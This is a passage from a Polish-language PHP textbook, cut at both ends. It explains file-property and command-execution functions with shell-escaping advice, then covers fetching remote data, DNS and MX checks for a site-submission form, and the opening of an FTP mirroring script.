pliku. Identyfikatory te mogą zostać przekonwertowane na nazwy za pomocą odpowiednich
funkcji posix_getpwuid() i posix_getgrgid(), które pozwalają na ich łatwiejsze odczytanie. Funk-
cje te pobierają jako parametr uid lub gid i zwracają tablicę asocjacyjną zawierającą informacje
o użytkowniku lub grupie, włączając w to nazwę użytkownika lub grupy (zobacz listing 17.4).

Funkcja fileperms() pokazuje uprawnienia pliku. W powyższym przykładzie zostały one przekon-
wertowane na format ósemkowy za pomocą funkcji decoct(), tak aby użytkownikom Uniksa wydały
się bardziej znajome.

Funkcja filetype() zwraca informację na temat typu badanego pliku. Możliwe wyniki to fifo,
char, dir, block, link, file lub unknown.

Funkcja filesize() zwraca wielkość pliku w bajtach.

Drugi zbiór funkcji — is_dir(), is_executable(), is_file(), is_link(), is_readable()


i is_writable() — sprawdza poszczególne atrybuty pliku i zwraca true lub false.

Można również zastosować funkcję stat(), która zbiera bardzo podobne dane. Kiedy zostanie jej
przekazany plik, zwraca ona tablicę zawierającą dane podobne do zwracanych przez powyższe funk-
cje. Funkcja lstat() działa w podobny sposób, z tym że stosuje się ją do dowiązań symbolicznych.

Wszystkie funkcje sprawdzające stan pliku potrzebują na wykonanie tej operacji sporo czasu,
dlatego też ich wyniki są przechowywane w pamięci podręcznej. Aby sprawdzić informacje o pliku,
który został tymczasem zmodyfikowany, należy wywołać funkcję:
clearstatcache();

która usuwa poprzednie wyniki. Jeżeli powyższy skrypt powinien być stosowany przed modyfikacją
danego pliku i po niej, należy na jego początku umieścić wywołanie funkcji clearstatcache(), aby
zapewnić aktualność otrzymywanych informacji.

Zmiana właściwości pliku


Właściwości plików można nie tylko przeglądać, lecz również zmieniać, o ile użytkownik serwera
WWW posiada odpowiednie przywileje.

Każda z funkcji chgrp(plik, grupa), chmod(plik, uprawnienia) i chown(plik, uzytkownik) zacho-


wuje się podobnie do swojego uniksowego odpowiednika. Nie będą one działały w systemach
opartych na Windows, jedynie chown() zostanie wykonana i zwróci true.

Funkcja chgrp() jest wykorzystywana do zmiany grupy pliku. Może być ona stosowana jedynie
do zmiany grupy pliku na grupę, której członkiem jest aktualny użytkownik, chyba że jest on użyt-
kownikiem root.
Rozdział 17.  Interakcja z systemem plików i serwerem 395

Funkcja chmod() zmienia uprawnienia pliku. Przekazywane uprawnienia powinny posiadać stan-
dardową uniksową formę chmod. Na ich początku należy umieścić 0, aby wskazać, że posiadają one
format ósemkowy. Na przykład:
chmod('jakisplik.txt', 0777);

Funkcja chown() jest wykorzystywana do zmiany właściciela pliku. Może ona być stosowana jedynie
wtedy, gdy skrypt posiada uprawnienia użytkownika root, co nie powinno się nigdy zdarzyć,
chyba że skrypt jest uruchamiany z poziomu wiersza poleceń w celu wykonania jakichś zadań
administracyjnych.

Tworzenie, usuwanie i przenoszenie plików


Funkcje systemu plików mogą być wykorzystywane do tworzenia, przenoszenia i usuwania plików,
o ile użytkownik serwera WWW posiada odpowiednie przywileje.

Pierwszą i najprostszą czynnością jest stworzenie lub zmiana czasu ostatniej modyfikacji pliku za
pomocą funkcji touch(). Działa ona podobnie do uniksowego polecenia touch. Funkcja ta posiada
następujący prototyp:
bool touch(string plik, [int czas [, int czas_dostepu]])

Jeżeli plik już istnieje, czas ostatniej modyfikacji zostanie zmieniony na aktualny lub podany
w drugim, opcjonalnym parametrze. Drugi parametr powinien być podany w formacie znacznika
czasu. Jeżeli plik nie istnieje, zostanie utworzony. Zmieni się również czas dostępu do pliku:
domyślnie na aktualny czas w systemie lub na znacznik czasu wskazany w opcjonalnym parametrze
czas_dostepu.

Pliki mogą być usuwane za pomocą funkcji unlink() (należy zauważyć, że funkcja ta nie nazywa
się delete() — taka bowiem nie istnieje). Stosuje się ją w następujący sposób:
unlink($nazwapliku);

Pliki mogą być kopiowane i przenoszone za pomocą funkcji copy() i rename() w następujący sposób:
copy($sciezka_zrodlowa, $sciezka_przeznaczenia);
rename($staryplik, $nowyplik);

Funkcja rename() odgrywa podwójną rolę jako funkcja przenosząca pliki z miejsca na miejsce,
ponieważ PHP nie posiada typowej funkcji przenoszącej, oprócz funkcji move_uploaded_file(),
która jednak ma ściśle określone zastosowanie. To, czy pliki mogą być przenoszone z jednego
systemu plików do drugiego i czy są nadpisywane przy korzystaniu z rename(), zależy od systemu
operacyjnego, tak więc należy sprawdzić efekty na swoim serwerze. Proszę również uważać na
ścieżkę stosowaną w nazwie pliku. Jeżeli jest to ścieżka względna, będzie ona odnoszona do pozycji
skryptu, a nie oryginalnego pliku.

Stosowanie funkcji uruchamiających programy


Poniżej opisane są funkcje umożliwiające wykonywanie poleceń na serwerze.
Funkcje te są użyteczne przy tworzeniu opartego na sieci WWW frontonu dla istniejącego systemu,
bazującego na wierszu poleceń. Istnieją cztery techniki umożliwiające uruchamianie poleceń na
serwerze WWW. Są one podobne do siebie, lecz nie identyczne.
 exec() — Funkcja exec() posiada następujący prototyp:
string exec(string polecenie [, array &wynik [, int &zwroc_wartosc]])
396 Część IV  Zaawansowane techniki PHP

Funkcji tej przekazuje się polecenie, które powinno zostać wykonane. Na przykład:
exec("ls –la");

Funkcja exec() nie zwraca bezpośredniego wyniku, lecz ostatni wiersz wyniku wykonania
polecenia.
Jeżeli funkcji zostanie przekazana zmienna jako wynik, zwróci ona tablicę łańcuchów znaków
przedstawiającą każdy wiersz wyniku wykonania. Jeżeli przekaże się jej zmienną jako
zwroc_wartosc, wynikiem będzie zwracana wartość.
 passthru() — Funkcja passthru() posiada następujący prototyp:
void passthru(string polecenie [, int zwroc_wartosc])

Funkcja passthru() bezpośrednio wyświetla wynik w oknie przeglądarki. (Jest to użyteczne,


jeżeli wynik jest formatu binarnego, na przykład pewien typ obrazka). Nie zwraca ona żadnej
wartości.
Parametry działają w ten sam sposób co parametry funkcji exec().
 system() — Funkcja system() posiada następujący prototyp:
string system(string polecenie [, int zwroc_wartosc])

Funkcja ta wyświetla wynik polecenia w przeglądarce. „Stara się” ona ukazać wynik
po każdym wierszu (zakładając, że PHP działa jako moduł serwera), co odróżnia ją
od funkcji passthru(). Zwraca ona ostatni wiersz wyniku (jeżeli uruchomienie powiedzie się)
lub false (w razie niepowodzenia).
Parametry działają w ten sam sposób co w innych funkcjach przedstawionych powyżej.
 Odwrócone apostrofy (``) — Symbole te zostały opisane w skrócie w rozdziale 1.
Jest to właściwie operator wywołania.
Nie wyświetla on bezpośredniego wyniku. Wynik wykonania polecenia jest zwracany
jako łańcuch znaków, który może zostać wyświetlony lub mogą być na nim wykonane
dowolne operacje.

W przypadku bardziej złożonych potrzeb można również zastosować funkcje popen(), proc_open()
oraz proc_close(), służące do rozwidlania zewnętrznych procesów i przesyłania danych między
nimi.

Analizując skrypt przedstawiony na listingu 17.7, warto prześledzić zastosowanie każdej z po-
wyższych technik.

Listing 17.7. progwyk.php — Funkcje stanu pliku i ich wyniki


<?php

chdir('/sciezka/do/wyslane/');

// wersja exec
echo '<h1>Stosowanie funkcji exec()</h1>';
echo '<pre>';

// unix
exec('ls -la', $wynik);

// windows
// exec('dir', $wynik);

foreach ($wynik as $wiersz)


Rozdział 17.  Interakcja z systemem plików i serwerem 397

{
echo $wiersz.PHP_EOL;
}

echo '</pre>';
echo '<hr />';

// wersja passthru
echo '<h1>Stosowanie funkcji passthru()</h1>';
echo '<pre>';

// unix
passthru('ls -la');

// windows
// passthru('dir');

echo '</pre>';
echo '<hr />';

// wersja system
echo '<h1>Stosowanie funkcji system()</h1>';
echo '<pre>';

//unix
$wynik=system('ls -la');

// windows
// $wynik=system('dir');

echo '</pre>';
echo '<hr />';

// wersja z odwróconymi apostrofami


echo '<h1>Stosowanie odwróconych apostrofów</h1>';
echo '<pre>';

// unix
$wynik=`ls -la`;

// windows
// $wynik = `dir`;

echo $wynik;
echo '</pre>';

?>

Jedna z tych technik mogła zostać zastosowana jako alternatywa dla opisanego wcześniej skryptu
przeglądającego katalogi. Zwróćmy uwagę, że jeden z ubocznych efektów stosowania funkcji
zewnętrznych jest uwidoczniony w powyższym przykładzie — nie jest on już przenośny. Zastoso-
wano w nim polecenia systemu Unix, tak więc polecenia systemu Windows (umieszczone w kodzie
w komentarzach) mogą nie dawać zamierzonych efektów.

Jeżeli częścią polecenia, które ma zostać wywołane, są dane przekazane przez użytkownika, należy
zawsze uruchamiać je poprzez funkcję escapeshellcmd(). Uniemożliwia to użytkownikom złośliwe
(i nie tylko) wykonywanie poleceń w systemie. Funkcję tę stosuje się w następujący sposób:
system(escapeshellcmd($polecenie));

Należy również stosować funkcję escapeshellarg(), aby wykonać operację ucieczki na argumen-
tach, które zostaną przekazane do poleceń powłoki.
398 Część IV  Zaawansowane techniki PHP

Interakcja ze środowiskiem:
funkcje getenv() i putenv()
Koniec tego rozdziału jest poświęcony sposobom zastosowania zmiennych środowiskowych w PHP.
Służą do tego celu dwie funkcje — getenv(), która umożliwia odczytanie zmiennych środowisko-
wych, oraz putenv(), pozwalająca na ich ustawianie. Należy zauważyć, że omawiane jest środo-
wisko, w którym PHP działa na serwerze.

Listę wszystkich zmiennych środowiskowych można otrzymać, wywołując funkcję phpinfo().


Niektóre z nich są bardziej użyteczne niż pozostałe. Na przykład:
getenv("HTTP_REFERER");

zwróci URL strony, z której użytkownik przeszedł na stronę aktualną.

Jeśli jesteś administratorem systemu i chciałbyś z góry określić, które zmienne środowiskowe mogą
być ustawiane przez programistę, możesz wykorzystać dyrektywę safe_mode_allowed_env_vars
w pliku php.ini. Po uruchomieniu PHP w bezpiecznym trybie użytkownicy będą mogli ustawiać tylko
te zmienne środowiskowe, których przedrostki są wymienione w tej dyrektywie.

Za pomocą funkcji putenv() można ustawiać zmienne środowiskowe, na przykład:


$glowny="/home/nobody";
putenv("HOME=$glowny");

Więcej informacji na temat zawartości poszczególnych zmiennych środowiskowych jest


dostępnych w specyfikacji CGI pod adresem https://www.ietf.org/rfc/rfc3875.

Propozycje dalszych lektur


Większość funkcji systemu plików PHP odwzorowuje odpowiednie funkcje systemu operacyjnego.
Użytkownicy Uniksa mogą przeczytać strony man w celu uzyskania dodatkowych informacji.

W następnym rozdziale
W rozdziale 18. zastosujemy funkcje sieci i protokołu PHP w celu interakcji z systemami innym
niż własny serwer WWW. Jest to kolejne rozszerzenie możliwości działania skryptów.
Rozdział 18.
Stosowanie funkcji sieci
i protokołu
W tym rozdziale opiszemy funkcje PHP związane z obsługą i wykorzystaniem sieci, które pozwalają
na interakcję skryptów z pozostałą częścią internetu. Znajduje się tam wiele zasobów, a także liczne
różnorodne protokoły, umożliwiające dostęp do nich. W tym rozdziale zostaną poruszone nastę-
pujące zagadnienia:
 przegląd dostępnych protokołów,
 wysyłanie i odczytywanie poczty elektronicznej,
 korzystanie z danych pochodzących z innych wtitryn WWW,
 stosowanie funkcji połączeń sieciowych,
 korzystanie z FTP.

Przegląd protokołów
Protokoły to zasady komunikacji w danej sytuacji. Na przykład znany jest protokół obowiązujący
podczas spotkania z inną osobą — przywitanie się, uściśnięcie dłoni, chwila rozmowy, po czym
pożegnanie. W różnych sytuacjach wymagane są różne protokoły. Poza tym osoby wywodzące się
z różnych kręgów kulturowych mogą oczekiwać odmiennych protokołów, co może utrudnić inter-
akcję. Protokoły komputerowe działają na podobnych zasadach.

Różne protokoły komputerowe są stosowane w rozmaitych sytuacjach i aplikacjach. Na przykład


z HTTP (ang. Hypertext Transfer Protocol — protokół przesyłania hipertekstu) korzysta się w celu
wysyłania i otrzymywania stron WWW: komputer wysyła żądanie udostępnienia dokumentu
(na przykład pliku HTML lub PHP) przez serwer WWW, a w odpowiedzi serwer wysyła dokument
do komputera użytkownika. Popularny jest także protokół FTP (ang. File Transfer Protocol —
protokół przesyłania plików), stosowany do przesyłania plików pomiędzy komputerami. Proto-
kołów jest znacznie więcej.

Protokoły i inne standardy internetowe są opisane w dokumentach zwanych RFC, czyli Prośby
o Komentarz (ang. Requests for Comments). Protokoły są definiowane przez grupę IETF (ang. Internet
Engineering Task Force — Specjalna Grupa Inżynierii Internetu). Dokumenty RFC są powszechnie
dostępne w internecie. Podstawowym źródłem jest Wydawca RFC, znajdujący się pod adresem
http://www.rfc-editor.org/.
400 Część IV  Zaawansowane techniki PHP

W razie problemów z pracą danego protokołu definiujący go dokument RFC stanowi godne zaufania
źródło, często wykorzystywane podczas usuwania błędów. Takie dokumenty są bardzo szczegółowe
i nierzadko liczą po kilkaset stron.

Do dobrze znanych dokumentów RFC należą: RFC2616, opisujący protokół HTTP/1.1, oraz
RFC822, opisujący format internetowych wiadomości poczty elektronicznej.

W tym rozdziale opiszemy pewne aspekty PHP korzystające z tych protokołów. Wyrażając się ściślej,
zostanie przedstawione wysyłanie poczty przez SMTP, odczytywanie poczty przez POP i IMAP4,
łączenie się z innymi serwerami WWW przez HTTP i HTTPS oraz przesyłanie plików przez FTP.

Wysyłanie i odczytywanie poczty elektronicznej


Głównym sposobem wysyłania poczty w PHP jest zastosowanie prostej funkcji mail(). Korzystanie
z tej funkcji opisaliśmy dokładnie w rozdziale 4. Do wysyłania poczty używa ona protokołu SMTP
(ang. Simple Mail Transfer Protocol — prosty protokół przesyłania poczty).

Aby zwiększyć różnorodność zastosowań funkcji mail(), można zastosować różne powszechnie
dostępne klasy. SMTP służy jedynie do wysyłania wiadomości. Protokoły IMAP4 (ang. Internet
Message Access Protocol — protokół dostępu do wiadomości internetowych, opisany w RFC2060)
oraz POP (ang. Post Office Protocol — protokół pocztowy, opisany w RFC1939 lub w STD0053)
są wykorzystywane do odczytywania wiadomości z serwera. Nie mogą one wysyłać poczty.

IMAP4 jest stosowany do odczytywania wiadomości przechowywanych na serwerze i manipu-


lowania nimi. Jest on bardziej złożony niż POP, który generalnie wykorzystuje się jedynie do pro-
stego pobierania wiadomości przez klienta i usuwania ich z serwera.

PHP jest dostarczany z zewnętrzną biblioteką, której można używać do obsługi IMAP4; jej doku-
mentacja jest dostępna na stronie http://php.net/manual/en/book.imap.php.

Korzystanie z danych z innych witryn WWW


Jedną ze wspaniałych własności sieci WWW jest używanie, modyfikowanie i osadzanie istnieją-
cych usług i informacji na własnych stronach. PHP bardzo ułatwia takie działania, o ile tylko jest
dostępny adres URL o jednolitej postaci, i to nawet nienależący do oficjalnego API. Poniżej przed-
stawiamy przykład pokazujący, jak można pobierać treści przy użyciu ich adresu URL oraz zapisy-
wać je z myślą o późniejszym zastosowaniu.

Wyobraźmy sobie, że pewna firma chciałaby wyświetlać na swojej stronie głównej aktualny kurs
własnych akcji. Informacja ta jest dostępna gdzieś na pewnej stronie giełdowej — lecz jak do niej
dotrzeć?

Należy rozpocząć od znalezienia oryginalnego URL-a tej informacji. Kiedy jest on już znany, za
każdym otwarciem strony firmy można połączyć się z tym URL-em, odczytać stronę i uzyskać
potrzebne informacje.

Poniżej umieszczony jest skrypt, który odczytuje i przeformatowuje kurs akcji z witryny Yahoo!
Finance; na stronie każdego papieru wartościowego umieszcza ona odnośnik „Download Data”1,

1
Pobierz dane — przyp. tłum.
Rozdział 18.  Stosowanie funkcji sieci i protokołu 401

tworzony konsekwentnie według tego samego wzorca. Odczytano na przykład aktualną cenę akcji
firmy Google. (Informacje odczytywane z innych stron mogą mieć dowolny charakter, ale zasady
pozostają te same).

Przykładowy skrypt pobiera dane pochodzące z innej witryny, a następnie wyświetla je na gene-
rowanej stronie WWW. Skrypt ten jest przedstawiony na listingu 18.1.

Listing 18.1. polaczenie.php — skrypt odczytujący kurs akcji o symbolu podanym w zmiennej $symbol
z NASDAQ
<!DOCTYPE html>
<html>
<head>
<title>Kurs akcji z NASDAQ</title>
</head>
<body>

<?php
//wybór symbolu akcji
$symbol='GOOG';
echo '<h1>Kurs akcji o symbolu '.$symbol.'</h1>';

$url = 'http://download.finance.yahoo.com/d/quotes.csv' .
'?s='.$symbol.'&e=.csv&f=sl1d1t1c1ohgv';

if(!($zawartosc = file_get_contents($url))) {
die('Otwarcie URL '.$url.' niemożliwe');
}

//odnalezienie właściwych danych


list($symbol, $kurs, $data, $godzina) = explode(',', $zawartosc);
$data = trim($data, '"');
$godzina = trim($godzina, '"');

echo '<p>Ostatni kurs akcji '.$symbol.': '.$kurs.'</p>';


echo '<p>Kurs na dzień '.$data.', z godziny '.$godzina.'</p>';

//powiadomienie o źródle
echo '<p>Ta informacja została uzyskana z <br />'
.'<a href="'.$url.'">'.$url.'</a></p>';
?>
</body>
</html>

Wynik przykładowego uruchomienia listingu 18.1 jest przedstawiony na rysunku 18.1.

Sam skrypt jest bardzo prosty — nie zostały w nim zastosowane żadne nieopisane poprzednio
funkcje, są tylko nowe ich zastosowania.

Podczas opisywania odczytu z pliku w rozdziale 2. wspomniano o możliwości użycia funkcji


plikowych do odczytywania danych z URL-a. Zostało to wykonane właśnie w tym przypadku.
Wywołanie file_get_contents():
if(!($zawartosc = file_get_contents($url))) {

zwraca całą zawartość pliku dostępnego pod adresem URL i zapisuje go w zmiennej $zawartosc.
402 Część IV  Zaawansowane techniki PHP

Rysunek 18.1.
Skrypt stosuje wyrażenia
regularne do wyciągania
kursu akcji z informacji
odczytanych z giełdy
papierów wartościowych

Funkcje plikowe PHP posiadają wiele możliwości. Przedstawiony przykład wczytuje zawartość
pliku pobranego przy użyciu protokołu HTTP, lecz w dokładnie taki sam sposób można by wcho-
dzić w interakcję z innymi serwerami, również przez HTTPS, FTP czy inne protokoły. W przypad-
ku niektórych zadań może jednak zajść konieczność zastosowania nieco bardziej specjalizowane-
go podejścia. Na przykład pewne możliwości protokołu FTP są dostępne tylko za pośrednictwem
konkretnych funkcji FTP i nie można z nich skorzystać przy użyciu fopen() ani innych funkcji
plikowych. Co więcej, w przypadku niektórych zadań realizowanych za pośrednictwem protoko-
łów HTTP i HTTPS konieczne może okazać się użycie biblioteki cURL. Dzięki niej można zalogo-
wać się na stronę WWW i symulować przechodzenie do kolejnych stron przez użytkownika.

Wróćmy jednak do skryptu: po uzyskaniu tekstu strony dzięki funkcji file_get_contents(), moż-
na zastosować funkcję list() w celu odnalezienia interesującej części strony:
list($symbol, $kurs, $data, $godzina) = explode(',', $zawartosc);
$data = trim($data, '"');
$godzina = trim($godzina, '"');

Funkcji list() można tu użyć do zapisania wartości łańcuchowych rozdzielonych przecinkami


w grupie zmiennych, gdyż zawartość pobranego pliku jest konsekwentnie zapisywana w ściśle
określony sposób. Oznacza to, że otwierając plik dostępny pod adresem URL podanym w skrypcie,
oczekujemy, że zawsze będzie on zawierał symbol akcji, ostatnią cenę zakupu, datę i czas zakup —
dokładnie w takiej kolejności. Jeśli zmieni się struktura pliku, konieczne będzie także zmodyfikowa-
nie skryptu; dlatego zawsze trzeba zwracać uwagę na zasoby pobierane automatycznie, zwłaszcza
jeśli nie należą one do dobrze udokumentowanych, publicznych API.

Kiedy wartości zostaną już zapisane w zmiennych przedstawionych powyżej, wystarczy je wyświe-
tlić na stronie:
echo '<p>Ostatni kurs akcji '.$symbol.': '.$kurs.'</p>';
echo '<p>Kurs na dzień '.$data.', z godziny '.$godzina.'</p>';

I oto jest!

Ujęcie to może być stosowane do wielu różnych celów. Innym dobrym przykładem jest odczytanie
lokalnej prognozy pogody i osadzenie jej na stronie.

Najlepszym zastosowaniem tego podejścia jest połączenie informacji z różnych źródeł w celu
otrzymania określonych rezultatów. Za doskonały przykład zastosowania tej techniki moż-
na uznać osławiony skrypt Philipa Greenspuna tworzący Miernik Bogactwa Billa Gatesa:
http://philip.greenspun.com/WealthClock.
Rozdział 18.  Stosowanie funkcji sieci i protokołu 403

Strona ta pobiera informacje z dwóch źródeł. Odczytuje aktualną liczbę ludności Stanów Zjedno-
czonych ze strony Biura Spisu Ludności USA, później wyszukuje aktualną wartość akcji Microsoftu,
po czym łączy te dwie informacje, dodaje sporą dawkę opinii autora i tworzy nową informację
— oszacowanie aktualnego majątku Billa Gatesa.

Uwaga poboczna: Korzystając w celach komercyjnych z zewnętrznego źródła informacji, takiego


jak powyższe, należy najpierw sprawdzić, czy nie narusza się prawa własności intelektualnej.

Przy tworzeniu takiego skryptu niekiedy konieczne okazuje się stworzenie możliwości przekazy-
wania informacji. Na przykład przy łączeniu się z zewnętrznym URL-em można przekazać pewne
parametry, które w zwykłej sytuacji zostałyby podane przez użytkownika. Powinno się wtedy zasto-
sować funkcję urlencode(), która pobiera łańcuch znaków i dokonuje jego konwersji do formatu
właściwego URL-om, na przykład zamieniając spacje w znaki plus. Wywołuje się ją w następują-
cy sposób:
$zakodowanyparametr=urlencode($parametr);

Problemem w takim ogólnym podejściu jest to, że na witrynie, z której pobierane są informacje,
może zmienić się format danych, co doprowadzi do tego, że skrypt nie będzie działał. Jak już
wcześniej wspomniano, zawsze należy zwracać uwagę na źródła danych, od których będą zależeć
pisane skrypty.

Stosowanie funkcji połączeń sieciowych


PHP oferuje zbiór funkcji połączeń, które mogą być stosowane do sprawdzania informacji na temat
nazwy komputera, adresów IP i wymiany poczty. Na przykład przy tworzeniu katalogu stron, takiego
jak DMOZ (http://www.dmoz.org/), kiedy zostaje w nim umieszczony nowy URL, dobrym pomy-
słem jest automatyczne sprawdzenie komputera macierzystego tego URL-a oraz prawdziwości
informacji na temat kontaktu z jego właścicielem. Dzięki temu można oszczędzić sobie kłopotu
przy wizycie dziennikarza oceniającego witryny, który wykrywa nieistniejące łącza lub nieprawi-
dłowe adresy pocztowe.

Listing 18.2 przedstawia kod HTML służący do tworzenia formularza zgłoszenia do takiego katalogu.

Listing 18.2. zgloszenie_katalog.html — kod HTML tworzący formularz zgłoszenia


<!DOCTYPE html>
<html>
<head>
<title>Zgłoś swoją stronę</title>
</head>
<body>
<h1>Zgłoszenie strony</h1>
<form method=post action="zgloszenie_katalog.php">
<label for="url">URL:</label>
<input type="text" name="url" id="url" size="30" value="http://" /><br />
<label for="email">Kontaktowy adres e-mail:</label>
<input type="text" name="email" id="email" size="30" /><br />
<input type="submit" value="Zgłoś stronę"/>
</form>
</body>
</html>

Jest to bardzo prosty formularz — jego renderowana wersja z wprowadzonymi danymi przykła-
dowymi jest zamieszczona na rysunku 18.2.
404 Część IV  Zaawansowane techniki PHP

Rysunek 18.2.
Zgłoszenia katalogowe
zazwyczaj wymagają
podania URL-a
i szczegółów
dotyczących
możliwości kontaktu,
aby administratorzy
katalogu mogli
powiadomić właściciela
strony o dodaniu jej
do katalogu

Po naciśnięciu przycisku zgłoszenia należy sprawdzić, czy, po pierwsze, zgłoszony URL znajduje
się na prawdziwym komputerze, a po drugie, czy istnieje także komputer macierzysty adresu
pocztowego. Wynik przykładowego skryptu wykonującego te działania jest przedstawiony na
rysunku 18.3.

Rysunek 18.3.
Ta wersja skryptu
ukazuje wyniki
sprawdzenia nazwy
komputera URL-a
i adresu pocztowego
— wersja ostateczna
nie musi tego robić,
interesujące jest jednak
wyświetlenie wyników
sprawdzania

Skrypt wykonujący działania sprawdzające korzysta z dwóch funkcji sieci PHP — gethostbyname()
i getmxrr(). Pełny skrypt jest przedstawiony na listingu 18.3.

Listing 18.3. zgloszenie_katalog.php — skrypt weryfikujący URL i adres poczty elektronicznej


<!DOCTYPE html>
<html>
<head>
<title>Wyniki zgłoszenia strony</title>
</head>
<body>
<h1>Wyniki zgłoszenia strony</h1>

<?php
Rozdział 18.  Stosowanie funkcji sieci i protokołu 405

// Wyodrębnienie z pól
$url = $_REQUEST['url'];
$email = $_REQUEST['email'];

// Sprawdzenie URL-a
$url=parse_url($url);
$komp=$url['host'];

if(!($ip=gethostbyname($komp)))
{
echo 'Komputer macierzysty URL-a nie posiada prawidłowego adresu IP';
exit;
}

echo "Komputer macierzysty znajduje się pod adresem IP $ip <br>";

// Sprawdzenie adresu poczty elektronicznej


$email=explode('@', $email);
$kompemail=$email[1];

if(!getmxrr($kompemail, $kompmx))
{
echo 'Adres pocztowy nie posiada prawidłowego komputera macierzystego';
exit;
}

echo 'Poczta elektroniczna dostarczana jest przez: <br />


<ul>';

foreach($kompmx as $mx)
{
echo '<li>'.$mx.'</li>';
}

echo '</ul>';

// Jeżeli skrypt dotarł do tego miejsca, to wszystko jest w porządku


echo '<p>Wszystkie przekazane szczegóły są prawidłowe.</p>';
echo '<p>Dziękujemy za zgłoszenie strony.<br>'
.'Zostanie ona niedługo odwiedzona przez naszego pracownika.</p>';
// W realnej sytuacji dodanie strony do bazy danych stron oczekujących
?>
</body>
</html>

Poniżej są przedstawione komentarze dotyczące interesujących części powyższego skryptu.

Przede wszystkim z superglobanej tablicy $_POST zostaje pobrany URL, po czym wykonana jest na
nim funkcja parse_url(). Zwraca ona tablicę asocjacyjną zawierającą poszczególne części URL-a.
Dostępne części danych to: scheme (schemat), user (użytkownik), pass (hasło), host (komputer ma-
cierzysty), port, path (ścieżka), query (zapytanie) i fragment. Zazwyczaj korzysta się tylko z nie-
których z nich, lecz poniżej przedstawiono przykład tworzenia przez nie URL-a.

Przy danym URL-u


http://nikt:sekret@przyklad.com:80/skrypt.php?zmienna=wartosc#kotwica

wartości każdej z części tablicy byłyby następujące:


 scheme: http
 user: nikt
406 Część IV  Zaawansowane techniki PHP

 pass: sekret
 host: przyklad.com
 port: 80
 path: /skrypt.php
 query: zmienna=wartosc
 fragment: kotwica

W skrypcie zgloszenie_katalog.php potrzebna jest jedynie informacja host, która zostaje wycią-
gnięta z tablicy w następujący sposób:
$url=parse_url($url);
$komp=$url['host'];

Po wykonaniu tej czynności można uzyskać adres IP tego komputera macierzystego, jeżeli jego
nazwa znajduje się w DNS-ie. Służy do tego funkcja gethostbyname(), która zwraca adres IP,
jeżeli on występuje, a w przeciwnym wypadku wyświetla false:
$ip=gethostbyname($komp)

Można również wykonać działanie odwrotne poprzez zastosowanie funkcji gethostbyaddr(), która
pobiera jako parametr adres IP i zwraca nazwę komputera. Jeżeli obie te funkcje zostaną wywoła-
ne jedna po drugiej, wynikiem może być inna nazwa komputera niż początkowa. Oznacza to, że
witryna stosuje usługę wirtualnego komputera macierzystego, w przypadku której jeden fizyczny
komputer i adres IP posiadają więcej niż jedną nazwę domenową.
Jeżeli URL jest prawidłowy, można sprawdzić adres poczty elektronicznej. Na początku należy go
rozbić na nazwę użytkownika i nazwę komputera poprzez wywołanie funkcji explode():
$email=explode('@', $email);
$kompemail=$email[1];

Gdy posiadamy część adresu zawierającą nazwę komputera, możemy sprawdzić, czy wiadomości
wysłane na ten adres dotrą na miejsce. Stosuje się w tym celu funkcję getmxrr():
getmxrr($kompemail, $kompmx)

Funkcja ta dla danego adresu zapisuje zbiór rekordów MX (ang. Mail Exchange — wymiana poczty)
do tablicy dostarczonej przez argument $kompmx.
Rekord MX jest przechowywany DNS-ie i łączy się z nim podobnie jak z nazwą komputera.
Komputer wymieniony w rekordzie MX jest niekoniecznie tym, do którego ostatecznie trafi wiado-
mość — „wie” on natomiast, gdzie ma ją skierować. (Może być ich więcej niż jeden, tak więc funkcja
getmxrr() zwraca tablicę nazw komputerów, a nie pojedynczy łańcuch znaków). Jeżeli w DNS-ie
nie istnieje rekord MX, wiadomość nie zostanie wysłana nigdzie.
Jeśli wszystkie te testy zostaną pomyślnie wykonane, to dane z formularza będzie można zapisać
w bazie w celu późniejszego przejrzenia ich przez pracownika. Ta operacja nie jest wykonywana
w skrypcie, lecz na podstawie komentarzy umieszczonych na samym końcu skryptu można się
zorientować, gdzie informacje te należałoby umieścić.
Oprócz przedstawionych wcześniej funkcji można także wykorzystać funkcję o bardziej ogólnym
charakterze, checkdnserr(); pobiera ona nazwę komputera i zwraca wartość true, jeśli w systemie
DNS jest dostępny jakikolwiek wpis, który dotyczy tego komputera. Wyniki generowane przez tę
funkcję nie udostępniają jednak żadnych informacji, które można by zaprezentować użytkownikowi,
jak to było w przypadku funkcji getmxrr(); z powodzeniem można by ich natomiast użyć do
szybkiego sprawdzenia poprawności adresu.
Rozdział 18.  Stosowanie funkcji sieci i protokołu 407

Tworzenie kopii bezpieczeństwa


lub kopii lustrzanej pliku
Protokół przesyłania plików, FTP, jest wykorzystywany do przekazywania plików pomiędzy
komputerami w sieci. Stosując PHP, można używać funkcji fopen() i różnych funkcji plikowych
z FTP. Podobnie postępuje się przy połączeniach HTTP, aby przesłać pliki na serwer FTP
i z powrotem. Istnieje jednak oprócz tego zbiór właściwych FTP funkcji zawartych w standardowej
instalacji PHP.

Funkcje te nie są domyślnie wbudowane w standardową instalację. Aby używać ich w systemie
Unix, należy włączyć program PHP configure z opcją --enable-ftp, po czym uruchomić ponow-
nie make. Jeśli wykorzystywana jest standardowa instalacja dla Windows, funkcje FTP będą udo-
stępnione automatycznie (więcej informacji na temat konfiguracji PHP znajduje się w dodatku A).

Stosowanie FTP w celu utworzenia kopii bezpieczeństwa


lub kopii lustrzanej pliku
Funkcje FTP są użyteczne przy przenoszeniu i kopiowaniu plików do i z innych komputerów.
Częstym zastosowaniem tych funkcji jest tworzenie kopii bezpieczeństwa lub kopii lustrzanej
(ang. mirror) pliku na innym komputerze. Poniżej zaprezentowano prosty przykład zastosowania
funkcji FTP do utworzenia kopii lustrzanej. Skrypt ten jest przedstawiony na listingu 18.4.

Listing 18.4. ftplustro.php — skrypt pobierający nowe wersje pliku z serwera FTP2
<!DOCTYPE html>
<html>
<head>
<title>Uaktualnienie kopii lustrzanej</title>
</head>
<body>
<h1>Uaktualnienie kopii lustrzanej</h1>

<?php
// ustawienie zmiennych - należy je zmienić, aby pasowały do aplikacji
$komp = 'apache.cs.utah.edu';
$uzytkownik = 'anonymous';
$haslo = 'ja@przyklad.com';
$plikzdalny = '/apache.org/httpd/httpd-2.4.16.tar.gz';
$pliklokalny = '/sciezka/do/plikow/httpd-2.4.16.tar.gz';

// łączenie z komputerem
$lacz=ftp_connect($komp);

if(!$lacz)
{
echo 'Błąd: Nie można nawiązać połączenia z komputerem '. $komp;
exit;
}

echo 'Połączono z '. $komp.'<br />';

// logowanie do komputera
